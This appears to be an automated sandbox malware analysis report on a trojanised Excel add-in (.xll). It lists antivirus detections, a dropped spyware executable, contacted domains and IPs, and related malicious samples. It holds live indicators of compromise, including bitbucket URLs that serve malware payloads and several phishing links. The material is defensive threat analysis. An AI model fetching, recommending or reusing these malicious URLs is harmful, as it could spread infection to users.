Source	Detection	Scanner	Label	Link
2023-07-01-2023-07-15_Transactions.xll	18%	ReversingLabs	Win32.Trojan.Leonem
2023-07-01-2023-07-15_Transactions.xll	21%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\GcQGGmjG.exe	100%	Avira	HEUR/AGEN.1317098
C:\Users\user\AppData\Roaming\GcQGGmjG.exe	68%	ReversingLabs	Win32.Trojan.SpywareX
C:\Users\user\AppData\Roaming\GcQGGmjG.exe	79%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-user.acompli.net	0%	URL Reputation	safe
https://powerlift-user.acompli.net	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	URL Reputation	safe
https://api.scheduler.	0%	URL Reputation	safe
https://my.microsoftpersonalcontent.com	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://api.aadrm.com	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://api.addins.store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://d.docs.live.net	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://make.powerautomate.com	0%	URL Reputation	safe
https://asgsmsproxyapi.azurewebsites.net/	0%	URL Reputation	safe
https://login.windows.local	0%	URL Reputation	safe
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	52.217.14.20	true	false	high
bitbucket.org	104.192.141.1	true	false	high
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bitbucket.org/simplecry/test/downloads/b0xsupp0rt_Transactions.exe	false		high
https://bitbucket.org/simplecry/test/downloads/sheet_spending.xlsx	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://duckduckgo.com/chrome_newtab	GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://shell.suite.office.com:1443	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://duckduckgo.com/ac/?q=	GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://autodiscover-s.outlook.com/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://github.com/Excel-DNA/ExcelDna	2023-07-01-2023-07-15_Transactions.xll	false		high
https://cdn.entity.	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://clients.config.office.net/user/v1.0/tenantassociationkey	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://powerlift.acompli.net	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://cortana.ai	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://entitlement.diagnosticssdf.office.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://api.aadrm.com/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://www.yammer.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://api.microsoftstream.com/api/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://cr.office.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	Avira URL Cloud: safe	low
https://portal.office.com/account/?ref=ClientMeControl	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://graph.ppe.windows.net	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://powerlift-user.acompli.net	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://tasks.office.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://officeci.azurewebsites.net/api/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://api.scheduler.	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://my.microsoftpersonalcontent.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://store.office.cn/addinstemplate	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://api.aadrm.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://globaldisco.crm.dynamics.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://messaging.engagement.office.com/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://dev0-api.acompli.net/autodetect	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.odwebp.svc.ms	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://api.diagnosticssdf.office.com/v2/feedback	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://api.powerbi.com/v1.0/myorg/groups	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://web.microsoftstream.com/video/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://api.addins.store.officeppe.com/addinstemplate	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://graph.windows.net	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://dataservice.o365filtering.com/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://officesetup.getmicrosoftkey.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://prod-global-autodetect.acompli.net/autodetect	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://substrate.office.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://outlook.office365.com/autodiscover/autodiscover.json	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://consent.config.office.com/consentcheckin/v1.0/consents	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://d.docs.live.net	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://ncus.contentsync.	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
http://weather.service.msn.com/data.aspx	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://apis.live.net/v5.0/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://messaging.lifecycle.office.com/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://pushchannel.1drv.ms	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://management.azure.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://outlook.office365.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://wus2.contentsync.	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://incidents.diagnostics.office.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://clients.config.office.net/user/v1.0/ios	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://make.powerautomate.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://insertmedia.bing.office.net/odc/insertmedia	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://o365auditrealtimeingestion.manage.office.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://api.office.net	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://incidents.diagnosticssdf.office.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://search.yahoo.com?fr=crmas_sfpf	GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://asgsmsproxyapi.azurewebsites.net/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://entitlement.diagnostics.office.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://substrate.office.com/search/api/v2/init	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://outlook.office.com/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://login.windows.local	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false	URL Reputation: safe	unknown
https://outlook.office365.com/	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high
https://webshell.suite.office.com	DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.192.141.1	bitbucket.org	United States	16509	AMAZON-02US	false
89.238.170.240	unknown	United Kingdom	9009	M247GB	false
52.217.14.20	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1276694
Start date and time:	2023-07-20 13:28:34 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	2023-07-01-2023-07-15_Transactions.xll
Detection:	MAL
Classification:	mal100.spyw.expl.evad.winXLL@7/4@3/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 98.4%) Quality average: 91.5% Quality standard deviation: 18.6%
HCA Information:	Successful, ratio: 100% Number of executed functions: 15 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .xll Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.24, 20.231.71.84, 20.126.106.131, 20.224.224.21
Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, config.officeapps.live.com, prod.configsvc1.live.com.akadns.net, nexus.officeapps.live.com, officeclient.microsoft.com, europe.configsvc1.live.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.192.141.1	A662vmc5co.exe	Get hash	malicious	Unknown	Browse	bitbucket.org/kennethoswald1/aoz918/downloads/LEraggt.exe
	lahPWgosNP.exe	Get hash	malicious	Amadey	Browse	bitbucket.org/alex222111/testproj/downloads/s7.exe
	SecuriteInfo.com.HEUR.Trojan.Script.Generic.18657.xlsx	Get hash	malicious	Unknown	Browse	bitbucket.org/!api/2.0/snippets/tinypro/rEG6d7/ba869eaf2433f3e0b56e4d0776eb5117fc09b21f/files/street-main
	SecuriteInfo.com.HEUR.Trojan.Script.Generic.18657.xlsx	Get hash	malicious	Unknown	Browse	bitbucket.org/!api/2.0/snippets/tinypro/rEG6d7/ba869eaf2433f3e0b56e4d0776eb5117fc09b21f/files/street-main
	SecuriteInfo.com.HEUR.Trojan.Script.Generic.20331.xlsx	Get hash	malicious	Unknown	Browse	bitbucket.org/!api/2.0/snippets
	SecuriteInfo.com.HEUR.Trojan.Script.Generic.20331.xlsx	Get hash	malicious	Unknown	Browse	bitbucket.org/!api/2.0/snippets
	Paid invoice.ppa	Get hash	malicious	AgentTesla	Browse	bitbucket.org/!api/2.0/snippets/warzonepro/Egjbp5/1b96dd9b300f88e62e18db3170d33bf037793d72/files/euromanmain
	PO#1487958_10.ppa	Get hash	malicious	Unknown	Browse	bitbucket.org/!api/2.0/snippets/warzonepro/KME7g4/7678df565d5a8824274645a03590fc72588243f0/files/orignalfinal
	Purchase Inquiry_pdf.ppa	Get hash	malicious	AgentTesla	Browse	bitbucket.org/!api/2.0/snippets/warzonepro/8E74BM/47d1c5bd6af9e6b1718ba4d2e049cba6beb1ac95/files/charles1final
	Purchase Inquiry_pdf.ppa	Get hash	malicious	Unknown	Browse	bitbucket.org/!api/2.0/snippets/warzonepro/8E74BM/47d1c5bd6af9e6b1718ba4d2e049cba6beb1ac95/files/charles1final
	Purchase Inquiry_pdf.ppa	Get hash	malicious	Unknown	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/KMMe6p/84dd89e3da0a597f178af84b75fa301869bb9740/files/charlesfinal
	Purchase Inquiry_pdf.ppa	Get hash	malicious	Unknown	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/KMMe6p/84dd89e3da0a597f178af84b75fa301869bb9740/files/charlesfinal
	RFQ#20220613124723.ppa	Get hash	malicious	Unknown	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/rEEzox/303cc98eeee4e8ce0be2a39a1aec7973fa1d5a9f/files/centfinal
	Quotation.ppa	Get hash	malicious	Unknown	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/bkkdM5/d967ec385ca0c9659e1ddb22731d05b19661a471/files/nanafinal
	Quotation.ppa	Get hash	malicious	Unknown	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/bkkdM5/d967ec385ca0c9659e1ddb22731d05b19661a471/files/nanafinal
	pn6xLHVgz8.exe	Get hash	malicious	RedLine SmokeLoader Tofsee Vidar	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/socks_protected.exe
	k8XfIrqzNR.exe	Get hash	malicious	RedLine SmokeLoader Tofsee Vidar	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/socks_protected.exe
	qsJjHqJ7T0.exe	Get hash	malicious	RedLine SmokeLoader Tofsee Vidar	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/socks_protected.exe
	AhB0i1fe7I.exe	Get hash	malicious	Clipboard Hijacker SmokeLoader Vidar	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/Taxao.exe
	cj6LIPaeUz.exe	Get hash	malicious	Vidar Xmrig	Browse	bitbucket.org/abobik141231321/download/downloads/main.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s3-w.us-east-1.amazonaws.com	https://phisher-parts-production-us-east-1.s3.amazonaws.com/21a05004-22ac-4a4d-b25f-5ecffcc6ee7d/2023-07-18/te6ru0gbfi6mllhlc079v1q2jlucib7pvefgqco1/857bd70b3dbaad5f1bd0b4fe5744b729a6a6e41e0a0f41d951f91b562509f72b?response-content-disposition=attachment%3B%20filename%3D%22Remittance%20Advice.html%22%3B%20filename%2A%3DUTF-8%27%27Remittance%2520Advice.html&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA37KREM2QENJYMFPZ%2F20230718%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230718T185210Z&X-Amz-Expires=86400&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEPH%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIQCEFNUdQuUekSy2VYPU%2Bl07hnENgQxSOLlF9edTMB%2BveAIga%2BoUzTEkBnIBkMxbKE52XyopVm33hdnKd6y50shdWhQq%2FwMIehAAGgw4MjMxOTMyNjU4MjQiDDCXqJeTOybchGv3KircA7s9BtMSu3lf%2FsXN9kUa3pGzl8jXce4QNIAwJhLjeqoSpbvfC4dPx6gSRj7P3b97KACDVJUzUnKFFIrDILYmFh8lO2VINCgWHl%2BBmPYzpQgpjAkK%2BC9Zmx0SEclF89eLb9HsOBSsio%2FJfUNolKvA2CDdfA08EGmcpOOX2wCIQnNBs%2B%2Bcq%2BgHswSYG9D8HHoUmcSCP1oinnb8qo2RTjmYO%2FHbZOhOJrb%2FSLIExaDX%2B23zFclOIeMBPwXhkXtFcsC%2BB1lHilopfYB1lqcNojtcWkKYhkJeaeMUBX9Nza5tuLsFJtOqhpGcqfaf0AP9JSUFZXEb9HHz%2BCYxVtsAMA8DD5tSPVVt1t0Qtb2NFj7a3U4bKGraBdVXDjuWNeOcHtH%2F84d39hHHLCRNvRFUJ%2Fl1blAJ2S9opoIol%2Fw2NLHphKtfg0GBMqL%2Fx8mMbAWsXU0b08Yd2RP9kBfQuOHnbQlWepHUlwcW5VZtGq6o0MfB5jkniDxF199krjZgl1YNKFXNhttQYZzuvcLN2CY2BOx6wRjjMT%2Bg0i8uNBWb16IANWDXejegZ4yohE7bLa03I5AsQQojd5i6n8ai9dJJbegsP1%2B9dWWHK3Cvh2sS3lNlPkgAVmq3UUrsRP0GGtFVMIn%2B2qUGOqUBC%2FfNYiPsJ50AbhMKbaxL5MubLRHec1yFR8bZgQpjEa5RzyvvhNhl2HcBWwkeraPPMvCd6je6hSHDEjdJU%2BAGMWn6YQ0pAYtSc4dzkmrOhoXftAlJC0mEX88mtD9MbXiBBNdpxiPrVfLAD7MfKumgi1yTYlfoFQeA1JFW1W6wVwwm0%2FNFh5NS%2FWvqdrM%2BkIhfs8FhNEPwVuAoJLd9hRP6PS3KfRaQ&X-Amz-SignedHeaders=host&X-Amz-Signature=d9283edc2939543a9afc307d60b198890eae7f827325e3ef9d3066be544ceb75	Get hash	malicious	HTMLPhisher	Browse	3.5.17.174
	https://community670.rssing.com/chan-8454990/latest.php	Get hash	malicious	Unknown	Browse	54.231.231.41
	https://p.rfihub.com/cm?forward=https://bitbucket.org/sewoso43013/xkllxw/downloads/13.07.2023_state_515.xll#lcvsog	Get hash	malicious	Unknown	Browse	52.217.117.65
	https://www.cakeresume.com/s--3vZDSYv0oaYyisQd7HI04w--/chris-r-arabia	Get hash	malicious	HTMLPhisher	Browse	52.217.88.244
	https://qr.link/T7PXDF	Get hash	malicious	HTMLPhisher	Browse	52.217.49.124
	https://www.joesandbox.com/analysis/1274402	Get hash	malicious	Unknown	Browse	52.216.32.249
	https://c8ke.com/proaux	Get hash	malicious	HTMLPhisher	Browse	3.5.6.131
	https://protect-za.mimecast.com/s/hbRWC2RJJxsWWD39InftAG?domain=cloudpdf.io	Get hash	malicious	Unknown	Browse	52.216.152.132
	https://churgrnkoao79479.kartra.com/page/ROSKCSA-SKOE8983	Get hash	malicious	HTMLPhisher	Browse	52.217.167.233
	6RE0uo6R38.exe	Get hash	malicious	AsyncRAT, RedLine, VenomRAT	Browse	52.217.68.12
	https://oliverkieselbach.com/2019/07/02/the-easy-way-to-deploy-device-certificates-with-intune/	Get hash	malicious	HTMLPhisher	Browse	52.216.83.88
	https://protect-za.mimecast.com/s/XzvjCwjggVFkkBoptVY9GT?domain=cloudpdf.io	Get hash	malicious	HTMLPhisher	Browse	52.216.226.128
	Harsha_Salesforce.docx.doc	Get hash	malicious	HTMLPhisher	Browse	52.216.141.60
	https://videos.rzsoftware.com/watch/Q7BrcumWmoQMARoDExy3Lg?vyetoken=20536f58-cd36-4a35-b987-4ad673b3bfd5&vydata=%7B%22_om_id%22%3A125077%2C%22_op_id%22%3A73415%7D	Get hash	malicious	Unknown	Browse	3.5.28.101
	Trojan-Spy.Win32.Stealer.aawf-427b5d1b32a8e17.exe	Get hash	malicious	Backstage Stealer, FFDroider, Glupteba, Metasploit, PrivateLoader, Raccoon Stealer v2, RedLine	Browse	3.5.29.128
	Trojan.Win32.Agentb.krec-5c97c35e6537283493bb.exe	Get hash	malicious	Fabookie, PrivateLoader, Raccoon Stealer v2, RedLine, SmokeLoader, Vidar	Browse	52.216.245.44
	http://bitbucket.org/frozenthrone1337/yeah/downloads/64.dll	Get hash	malicious	Unknown	Browse	52.217.88.68
	https://my.uni-ready.org/mtc/event%20(	Get hash	malicious	Unknown	Browse	52.217.202.9
	https://ufc11.ac-page.com/town-of-sheboygan	Get hash	malicious	HTMLPhisher	Browse	52.216.134.91
	https://ufc11.ac-page.com/town-of-sheboygan	Get hash	malicious	HTMLPhisher	Browse	52.217.168.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://jmt.jobleads.com/api/v1/link?m=ec3729a3-154b-4313-bb7c-da24f5137229&u=20323520&t=id_64&l=https%3A%2F%2Fpro-boca.net%2Fwo3%2FPact%2Fwlntwc%2F%2F%2F%2FZC50YWxtZXJAcHhwLXNvbHV0aW9ucy5jb20=	Get hash	malicious	Unknown	Browse	18.154.38.16
	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Get hash	malicious	FormBook	Browse	76.223.26.96
	ATT00001.htm	Get hash	malicious	Unknown	Browse	18.244.102.57
	https://mail.onelink.me/107872968?pid=nativeplacement&c=Global_Acquisition_YMktg_315_Internal_EmailSignature&af_sub1=Acquisition&af_sub2=Global_YMktg&af_sub3=&af_sub4=100000604&af_sub5=EmailSignature__Static_	Get hash	malicious	Unknown	Browse	13.224.103.28
	Messages Locker_1.3.290122_apkcombo.com.apk	Get hash	malicious	Unknown	Browse	52.30.37.9
	Messages Locker_1.3.290122_apkcombo.com.apk	Get hash	malicious	Unknown	Browse	52.30.37.9
	https://dvidpfoy.page.link/qj4k	Get hash	malicious	Unknown	Browse	3.75.62.37
	http://cloudflare-ipfs.com	Get hash	malicious	Unknown	Browse	13.224.103.54
	https://mail.onelink.me/107872968?pid=nativeplacement&c=Global_Acquisition_YMktg_315_Internal_EmailSignature&af_sub1=Acquisition&af_sub2=Global_YMktg&af_sub3=&af_sub4=100000604&af_sub5=EmailSignature__Static_	Get hash	malicious	Unknown	Browse	34.247.78.58
	Aged Inv Payment ATK0299384757.htm	Get hash	malicious	Unknown	Browse	13.224.98.49
	https://api.spently.com/api/spently/click?id=105133&store=hotelcollection&type=OI&cid=6272440696998&url=https%3A%2F%2Freseauev-immobilier.fr%2Fxx%2FGB40WTYF44554325608478%2FYW50b29uLnZhbi5kZW4uYmVyZ0BoZW5kcml4LWdlbmV0aWNzLmNvbQ==	Get hash	malicious	Unknown	Browse	13.224.103.93
	https://api.spently.com/api/spently/click?id=105133&store=hotelcollection&type=OI&cid=6272440696998&url=https%3A%2F%2Freseauev-immobilier.fr%2Fxx%2FGB40WTYF44554325608478%2FYW50b29uLnZhbi5kZW4uYmVyZ0BoZW5kcml4LWdlbmV0aWNzLmNvbQ==	Get hash	malicious	Unknown	Browse	13.224.98.49
